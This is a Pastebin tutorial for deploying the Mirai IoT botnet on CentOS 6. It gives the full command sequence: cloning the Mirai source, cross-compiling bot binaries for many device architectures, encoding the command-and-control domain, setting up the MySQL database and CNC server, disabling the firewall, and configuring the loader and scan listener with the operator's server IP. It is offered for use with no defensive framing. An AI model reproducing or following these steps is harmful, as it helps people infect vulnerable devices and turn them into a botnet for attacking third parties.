Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ███╗ ███╗██╗██████╗ █████╗ ██╗ ██████╗ ██████╗ ████████╗███╗ ██╗███████╗████████╗
- ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██╔═══██╗╚══██╔══╝████╗ ██║██╔════╝╚══██╔══╝
- ██╔████╔██║██║██████╔╝███████║██║ ██████╔╝██║ ██║ ██║ ██╔██╗ ██║█████╗ ██║
- ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██╗██║ ██║ ██║ ██║╚██╗██║██╔══╝ ██║
- ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██████╔╝╚██████╔╝ ██║ ██║ ╚████║███████╗ ██║
- ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝
- ████████╗██╗ ██╗████████╗ ██████╗ ██████╗ ██╗ █████╗ ██╗
- ╚══██╔══╝██║ ██║╚══██╔══╝██╔═══██╗██╔══██╗██║██╔══██╗██║
- ██║ ██║ ██║ ██║ ██║ ██║██████╔╝██║███████║██║
- ██║ ██║ ██║ ██║ ██║ ██║██╔══██╗██║██╔══██║██║
- ██║ ╚██████╔╝ ██║ ╚██████╔╝██║ ██║██║██║ ██║███████╗
- ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝
- ██████╗███████╗███╗ ██╗████████╗ ██████╗ ███████╗ ██████╗
- ██╔════╝██╔════╝████╗ ██║╚══██╔══╝██╔═══██╗██╔════╝ ██╔════╝
- ██║ █████╗ ██╔██╗ ██║ ██║ ██║ ██║███████╗ ███████╗
- ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║ ██║╚════██║ ██╔═══██╗
- ╚██████╗███████╗██║ ╚████║ ██║ ╚██████╔╝███████║ ╚██████╔╝
- ╚═════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
- [Note]: This is a new tutorial on "How to setup Mirai" but on centos 6, enjoy!
- [*Introduction*]
- I've posted many ways of setting up mirai, if you can't figure it out now. I don't know what to tell you anymore.
- This tutorial is for people to learn how to setup up mirai from source, by source I mean cross compiling and building it from scratch without using the builder. I will be providing a builder I made to suit CentOS 6/RHEL machines.
- MiraiSource: git clone https://github.com/jgamblin/Mirai-Source-Code
- Let's begin!
- [*Self installing*]
- yum update -y
- yum install epel-release -y
- yum groupinstall "Development Tools" -y
- yum install gmp-devel -y
- sudo ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
- yum install gcc gcc-c++ electric-fence sudo git libc6-dev -y
- ; This will update your box and install all the utilities for mirai.
- ; You still need to install goLang for Mirai to work.
- [*Setting up GoLang*]
- cd /tmp
- wget https://storage.googleapis.com/golang/go1.5.linux-amd64.tar.gz
- tar -zxvf go1.5.linux-amd64.tar.gz && mv go /usr/local && rm -fr go1.5.linux-amd64.tar.gz
- ln -s /usr/local/go/bin/go /usr/local/bin/go
- ln -s /usr/local/go/bin/godoc /usr/local/bin/godoc
- ln -s /usr/local/go/bin/gofmt /usr/local/bin/gofmt
- go version
- ; Good job! You've set up GoLang successfully!
- [*Installing the Architectures*]
- mkdir /etc/xcompile && cd /etc/xcompile
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
- wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
- wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
- tar -jxf cross-compiler-armv4l.tar.bz2
- tar -jxf cross-compiler-i586.tar.bz2
- tar -jxf cross-compiler-m68k.tar.bz2
- tar -jxf cross-compiler-mips.tar.bz2
- tar -jxf cross-compiler-mipsel.tar.bz2
- tar -jxf cross-compiler-powerpc.tar.bz2
- tar -jxf cross-compiler-sh4.tar.bz2
- tar -jxf cross-compiler-sparc.tar.bz2
- tar -jxf cross-compiler-armv6l.tar.bz2
- rm *.tar.bz2
- mv cross-compiler-armv4l armv4l
- mv cross-compiler-i586 i586
- mv cross-compiler-m68k m68k
- mv cross-compiler-mips mips
- mv cross-compiler-mipsel mipsel
- mv cross-compiler-powerpc powerpc
- mv cross-compiler-sh4 sh4
- mv cross-compiler-sparc sparc
- mv cross-compiler-armv6l armv6l
- ; Execute these in your xfce terminal
- ; Don't know what I'm talking about? Try this http://prntscr.com/ff55r6
- export PATH=$PATH:/etc/xcompile/armv4l/bin
- export PATH=$PATH:/etc/xcompile/armv6l/bin
- export PATH=$PATH:/etc/xcompile/i586/bin
- export PATH=$PATH:/etc/xcompile/m68k/bin
- export PATH=$PATH:/etc/xcompile/mips/bin
- export PATH=$PATH:/etc/xcompile/mipsel/bin
- export PATH=$PATH:/etc/xcompile/powerpc/bin
- export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
- export PATH=$PATH:/etc/xcompile/sh4/bin
- export PATH=$PATH:/etc/xcompile/sparc/bin
- export PATH=$PATH:/etc/xcompile/armv6l/bin
- export PATH=$PATH:/usr/local/go/bin
- export GOPATH=$HOME/Documents/go
- [*GoLang Drivers & building debug/release*]
- ; Very self explanitory
- go get github.com/go-sql-driver/mysql
- go get github.com/mattn/go-shellwords
- ./build.sh debug telnet
- [*Obfuscated string*]
- ; I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
- ./enc string changeme.com
- ; Now add this to your table.c file.
- [*Database setup*]
- ; Now where going to setup the database permissions and users.
- ; If you have iptbales/ip6tables or any firewall install disable it.
- service iptables stop
- /etc/ini.d/iptbales stop
- [*Database setup*]
- /usr/bin/mysql_secure_installation
- ;It will ask you to set a password, make sure you remember this.
- ;Edit your main.go in /cnc/
- ex: 120.0.0.1:3306
- ;Once you've done the step above were going to add the database and user perms. follow this link.
- ;Create the database first
- create database mirai;
- ;Next select the database
- use mirai
- ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
- http://pastebin.com/BsSWnK7i
- ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5
- ;Now your server should be online
- Service mysql restart
- ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
- ./cnc
- ;You should see - http://prntscr.com/dnsluv
- ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder
- ;Now you can login through your ssh client with telnet.
- [*Loader Setup*]
- nano /Mirai-Source-Code/dlr/main.c
- ; edit this line "#define HTTP_SERVER utils_inet_addr(127,0,0,1)"
- cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins
- nano /Mirai-Source-Code/loader/src/main.c
- ; Add your server ip.
- chmod 777 build.sh && ./build.sh
- nano scanListen.go
- ; Edit your server ip.
- go build scanListen.go
- Now you're done!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement